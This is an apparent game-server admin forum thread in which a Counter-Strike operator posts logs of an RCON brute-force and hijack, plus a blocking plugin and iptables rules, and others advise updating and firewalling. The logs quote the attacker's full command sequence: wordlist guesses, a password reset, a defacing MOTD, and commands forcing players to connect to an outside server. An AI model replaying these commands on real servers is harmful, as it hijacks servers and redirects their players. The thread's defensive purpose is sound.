Raised This Month: $ Target: $400
 0% 

Block rcon absolutely


Post New Thread Reply   
AlliedModders Forum Index > AMX Mod X > Scripting > Scripting Help
Page 1 of 2 1 2
 
Thread Tools Display Modes
Author Message
alonelive
Senior Member
Join Date: Jan 2011
Location: Big snow country.. :)
Old 07-02-2013 , 12:35   Block rcon absolutely
Reply With Quote #1
Hello..
Today i saw new exploit (perhaps he is 1 or 2 days old (count of servers with changed hostname increases by every minute)).

I have rcon_password "", but..
This is a small part of logs.. And this exploit works! My cvars was changed..


PHP Code:
    Line 274: L 07/02/2013 - 16:43:20: Bad Rcon: "rcon 1424349015 "mamma" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 347: L 07/02/2013 - 16:45:47: Bad Rcon: "rcon 1424349015 "bankjob" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 477: L 07/02/2013 - 16:48:13: Bad Rcon: "rcon 1424349015 "bank" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 586: L 07/02/2013 - 16:50:39: Bad Rcon: "rcon 1424349015 "quantum" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 663: L 07/02/2013 - 16:53:06: Bad Rcon: "rcon 1424349015 "defiance" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 716: L 07/02/2013 - 16:54:15: Bad Rcon: "rcon 348228890 "555555"  sv_contact "HLBrute 1.10"" from "128.75.147.209:1749"
    Line 776: L 07/02/2013 - 16:55:32: Bad Rcon: "rcon 1424349015 "jamesbond" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 891: L 07/02/2013 - 16:57:58: Bad Rcon: "rcon 1424349015 "bond" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 967: L 07/02/2013 - 17:00:25: Bad Rcon: "rcon 1424349015 "wanted" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1051: L 07/02/2013 - 17:02:49: Rcon: "rcon 2083628346 zhenya mp_timelimit 60" from "188.115.143.31:11599"
    Line 1053: L 07/02/2013 - 17:02:49: Rcon: "rcon 2083628346 zhenya hostname "-[KPbI}+{OnOJIb]- CS #1699"" from "188.115.143.31:11599"
    Line 1054: L 07/02/2013 - 17:02:49: Rcon: "rcon 2083628346 zhenya amx_rd_server cs.azazel.org.ua" from "188.115.143.31:11599"
    Line 1055: L 07/02/2013 - 17:02:49: Rcon: "rcon 2083628346 zhenya amx_rd_serverport 27015" from "188.115.143.31:11599"
    Line 1056: L 07/02/2013 - 17:02:49: Rcon: "rcon 2083628346 zhenya amx_rd_maxplayers 1" from "188.115.143.31:11599"
    Line 1057: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_execall Motdfile "valve.rc "" from "188.115.143.31:11599"
    Line 1058: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_execall Motd_write Connect cs.azazel.org.ua:27015" from "188.115.143.31:11599"
    Line 1059: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_execall Motdfile "motd.txt"" from "188.115.143.31:11599"
    Line 1060: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_execall ConNecT cs.azazel.org.ua:27017" from "188.115.143.31:11599"
    Line 1061: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @CT Motdfile "valve.rc "" from "188.115.143.31:11599"
    Line 1062: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @TERRORIST Motdfile "valve.rc "" from "188.115.143.31:11599"
    Line 1063: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @CT Motd_write Connect cs.azazel.org.ua:27015" from "188.115.143.31:11599"
    Line 1064: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @TERRORIST Motd_write Connect cs.azazel.org.ua:27015" from "188.115.143.31:11599"
    Line 1065: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @CT Motdfile "motd.txt"" from "188.115.143.31:11599"
    Line 1066: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @TERRORIST Motdfile "motd.txt"" from "188.115.143.31:11599"
    Line 1067: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @CT ConNecT cs.azazel.org.ua:27017" from "188.115.143.31:11599"
    Line 1068: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_clexec @TERRORIST ConNecT cs.azazel.org.ua:27017" from "188.115.143.31:11599"
    Line 1069: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_exec @A Motdfile "valve.rc "" from "188.115.143.31:11599"
    Line 1070: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_exec @A Motd_write Connect cs.azazel.org.ua:27015" from "188.115.143.31:11599"
    Line 1071: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_exec @A Motdfile "motd.txt"" from "188.115.143.31:11599"
    Line 1072: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya amx_exec @A ConNecT cs.azazel.org.ua:27017" from "188.115.143.31:11599"
    Line 1073: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya motdfile motd.txt" from "188.115.143.31:11599"
    Line 1074: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya motd_write <html><meta http-equiv="content-type" content="text/html; charset=windows-1251"><center><h1>WELCOME TO ********************************************************************************* CS!</h1><h2>Let's play the game!</h2><img src="http://content.foto.mail.ru/mail/eduardsilin/_answers/i-214.jpg"><br><b>PwNeD by AzazeL</b></center>#2366</html>" from "188.115.143.31:11599"
    Line 1075: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya pb_minbots 10" from "188.115.143.31:11599"
    Line 1076: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya pb_fillserver 10" from "188.115.143.31:11599"
    Line 1077: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya rcon_password krizhopol" from "188.115.143.31:11599"
    Line 1077: L 07/02/2013 - 17:02:50: Rcon: "rcon 2083628346 zhenya rcon_password krizhopol" from "188.115.143.31:11599"
    Line 1078: L 07/02/2013 - 17:02:50: Bad Rcon: "rcon 2083628346 zhenya sys_ticrate 5000" from "188.115.143.31:11599"
    Line 1079: L 07/02/2013 - 17:02:50: Bad Rcon: "rcon 2083628346 zhenya fps_max 300" from "188.115.143.31:11599"
    Line 1080: L 07/02/2013 - 17:02:51: Bad Rcon: "rcon 1424349015 "torino" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1184: L 07/02/2013 - 17:05:18: Bad Rcon: "rcon 1424349015 "grantorino" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1326: L 07/02/2013 - 17:07:44: Bad Rcon: "rcon 1424349015 "dark" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1405: L 07/02/2013 - 17:10:10: Bad Rcon: "rcon 1424349015 "kungfu" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1484: L 07/02/2013 - 17:12:37: Bad Rcon: "rcon 1424349015 "kungfupanda" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1583: L 07/02/2013 - 17:15:03: Bad Rcon: "rcon 1424349015 "jcvd" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1614: L 07/02/2013 - 17:15:58: Bad Rcon: "rcon 348228890 "111"  sv_contact "HLBrute 1.10"" from "128.75.147.209:1749"
    Line 1645: L 07/02/2013 - 17:17:29: Bad Rcon: "rcon 1424349015 "surfwise" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1700: L 07/02/2013 - 17:19:55: Bad Rcon: "rcon 1424349015 "milk" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1762: L 07/02/2013 - 17:22:22: Bad Rcon: "rcon 1424349015 "man" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1849: L 07/02/2013 - 17:24:48: Bad Rcon: "rcon 1424349015 "manonfire" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1906: L 07/02/2013 - 17:27:14: Bad Rcon: "rcon 1424349015 "walle" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 1997: L 07/02/2013 - 17:29:41: Bad Rcon: "rcon 1424349015 "wrestling" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2061: L 07/02/2013 - 17:32:07: Bad Rcon: "rcon 1424349015 "wrestler" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2169: L 07/02/2013 - 17:34:33: Bad Rcon: "rcon 1424349015 "darkknight" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2226: L 07/02/2013 - 17:37:00: Bad Rcon: "rcon 1424349015 "milionaire" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2296: L 07/02/2013 - 17:39:26: Bad Rcon: "rcon 1424349015 "iron" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2367: L 07/02/2013 - 17:41:54: Bad Rcon: "rcon 1424349015 "september" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2390: L 07/02/2013 - 17:42:59: Bad Rcon: "rcon 348228890 "123123"  sv_contact "HLBrute 1.10"" from "128.75.147.209:1749"
    Line 2430: L 07/02/2013 - 17:44:20: Bad Rcon: "rcon 1424349015 "complicated" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2489: L 07/02/2013 - 17:46:47: Bad Rcon: "rcon 1424349015 "duplicity" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2561: L 07/02/2013 - 17:49:13: Bad Rcon: "rcon 1424349015 "ponyo" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2647: L 07/02/2013 - 17:51:40: Bad Rcon: "rcon 1424349015 "informant" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2702: L 07/02/2013 - 17:54:06: Bad Rcon: "rcon 1424349015 "tyson" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2706: L 07/02/2013 - 17:54:18: Bad Rcon: "rcon 2389070769 "1234567"  sv_contact "HLBrute 1.10"" from "194.84.234.29:50366"
    Line 2761: L 07/02/2013 - 17:56:32: Bad Rcon: "rcon 1424349015 "sherlock" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2823: L 07/02/2013 - 17:58:59: Bad Rcon: "rcon 1424349015 "holmes" sv_contact "HLXBrute"" from "95.142.109.218:58464"
    Line 2888: L 07/02/2013 - 18:01:25: Bad Rcon: "rcon 1424349015 "anvil" sv_contact "HLXBrute"" from "95.142.109.218:58464" 

PHP Code:
#include <amxmodx> 

#define PLUGIN_NAME        "Stop RCON" 
#define PLUGIN_VERSION        "1.0" 
#define PLUGIN_AUTHOR        "AMXX COMM" 

public plugin_init( ) 
{ 
    register_plugin( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR ) 
    
    register_clcmd( "rcon",            "cmd_block" )
    register_clcmd( "rcon_address",        "cmd_block" )
    register_clcmd( "rcon_port",        "cmd_block" )
    register_clcmd( "rcon_password",    "cmd_block" )
} 


public cmd_block( id )
{
    return PLUGIN_HANDLED    
} 
Is my code true?
__________________
sorry my bad english...
alonelive is offline
wickedd
Veteran Member
wickedd's Avatar
Join Date: Nov 2009
Old 07-02-2013 , 12:41   Re: Block rcon absolutely
Reply With Quote #2
The plugin is useless. If you want to block someone from using rcon you need a firewall or just set it to
rcon_password "". Also, from looking at your log, they all ready have/had your rcon password.
__________________
Just buy the fucking game!!!!
I hate No-Steamers and lazy ass people.
Last edited by wickedd; 07-02-2013 at 12:42.
wickedd is offline
YamiKaitou
Has a lovely bunch of coconuts
YamiKaitou's Avatar
Join Date: Apr 2006
Location: Texas
Old 07-02-2013 , 12:43   Re: Block rcon absolutely
Reply With Quote #3
Update your server and change your rcon password. There is no way to block rcon besides removing the password or filtering it at the firewall
__________________
ProjectYami Laboratories

I do not browse the forums regularly anymore. If you need me for anything (asking questions or anything else), then PM me (be descriptive in your PM, message containing only a link to a thread will be ignored).
Last edited by YamiKaitou; 07-02-2013 at 12:43.
YamiKaitou is offline
alonelive
Senior Member
Join Date: Jan 2011
Location: Big snow country.. :)
Old 07-02-2013 , 12:47   Re: Block rcon absolutely
Reply With Quote #4
Quote:
rcon_password ""
I already have rcon_password "".

Help me please to make a rule:

PHP Code:
$IPT -A INPUT -p udp -m udp -m string --hex-string "RCON?" --algo kmp -j DROP 
__________________
sorry my bad english...
Last edited by alonelive; 07-02-2013 at 12:47.
alonelive is offline
YamiKaitou
Has a lovely bunch of coconuts
YamiKaitou's Avatar
Join Date: Apr 2006
Location: Texas
Old 07-02-2013 , 12:51   Re: Block rcon absolutely
Reply With Quote #5
If rcon_password is already blank, then you either have a config that is changing it, a plugin that is changing it, or a server that was not installed using SteamCMD
__________________
ProjectYami Laboratories

I do not browse the forums regularly anymore. If you need me for anything (asking questions or anything else), then PM me (be descriptive in your PM, message containing only a link to a thread will be ignored).
YamiKaitou is offline
alonelive
Senior Member
Join Date: Jan 2011
Location: Big snow country.. :)
Old 07-02-2013 , 12:55   Re: Block rcon absolutely
Reply With Quote #6
I don't have some plugins with rcon commands. It's 100%. My server was installed with hldaupdatetool (now i can't update the server (some troubles with hosting-provider).
Help me to make rule to IPTables, PLEASE!
__________________
sorry my bad english...
alonelive is offline
YamiKaitou
Has a lovely bunch of coconuts
YamiKaitou's Avatar
Join Date: Apr 2006
Location: Texas
Old 07-02-2013 , 13:48   Re: Block rcon absolutely
Reply With Quote #7
You are on your own with the IPTables rules. You can search around, maybe someone has already posted usable rules.

Otherwise, the only solution is to update your server using SteamCMD. There should be no issues and SteamCMD is easier to use and quicker to update than HLDSUpdateTool based on my experience with it.
__________________
ProjectYami Laboratories

I do not browse the forums regularly anymore. If you need me for anything (asking questions or anything else), then PM me (be descriptive in your PM, message containing only a link to a thread will be ignored).
YamiKaitou is offline
alonelive
Senior Member
Join Date: Jan 2011
Location: Big snow country.. :)
Old 07-02-2013 , 15:09   Re: Block rcon absolutely
Reply With Quote #8
What you say about this?
https://forums.alliedmods.net/showpo...29&postcount=9
__________________
sorry my bad english...
alonelive is offline
fysiks
Veteran Member
fysiks's Avatar
Join Date: Sep 2007
Location: Flatland, USA
Old 07-02-2013 , 15:13   Re: Block rcon absolutely
Reply With Quote #9
Quote:
Originally Posted by alonelive View Post
Did you try it? Does it work? Regardless of the answers to these question, we (Alliedmodders) can only support the latest version of the game released by Valve.
__________________
fysiks is offline
alonelive
Senior Member
Join Date: Jan 2011
Location: Big snow country.. :)
Old 07-02-2013 , 15:16   Re: Block rcon absolutely
Reply With Quote #10
Quote:
iptables -I INPUT -p udp -m string --algo kmp --string "rcon" -j DROP
This is a way (perhaps). I test this now..

Quote:
we (Alliedmodders) can only support the latest version of the game released by Valve.
be - be - be... you have to be kinder
__________________
sorry my bad english...
Last edited by alonelive; 07-02-2013 at 15:17.
alonelive is offline
Reply
AlliedModders Forum Index > AMX Mod X > Scripting > Scripting Help
Page 1 of 2 1 2

« Previous Thread | Next Thread »


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -4. The time now is 12:30.

DMCA - Archive - Top

Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode